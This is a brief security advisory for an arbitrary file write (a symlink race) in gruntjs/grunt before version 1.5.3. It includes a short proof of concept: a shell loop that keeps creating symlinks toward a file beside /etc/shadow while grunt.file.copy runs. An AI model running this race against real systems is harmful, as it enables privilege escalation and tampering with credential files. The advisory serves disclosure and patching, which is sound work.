Arbitrary File Write gruntjs/grunt

CWE-367 7 High Severity arbitrary file javascript node nodejs npm Write

@haxatron Reported by Checkmarx Zero

Summary

Arbitrary File Write in gruntjs/grunt.

Product

gruntjs/grunt prior to 1.5.3.

Impact

This vulnerability is capable of arbitrary file writes which can lead to local privilege escalation to the GruntJS user if a lower-privileged user has write access to both source and destination directories as the lower-privileged user can create a symlink to the GruntJS user’s .bashrc file or replace /etc/shadow file if the GruntJS user is root.

Steps to reproduce

As a lower-privileged user:

mkdir dest
echo "<overwrite shadow file here>" > src/shadow2
while true; do ln -s /etc/shadow2 dest/shadow2; done;

Now execute the following PoC:
```
grunt.file.copy("src", "dest")
```

Expected result:

/etc/shadow2 is overwritten

Remediation

Update gruntjs/grunt to version 1.5.3.

Credit

This issue was reported by @haxatron through huntr.dev.

Resources

Explore more findings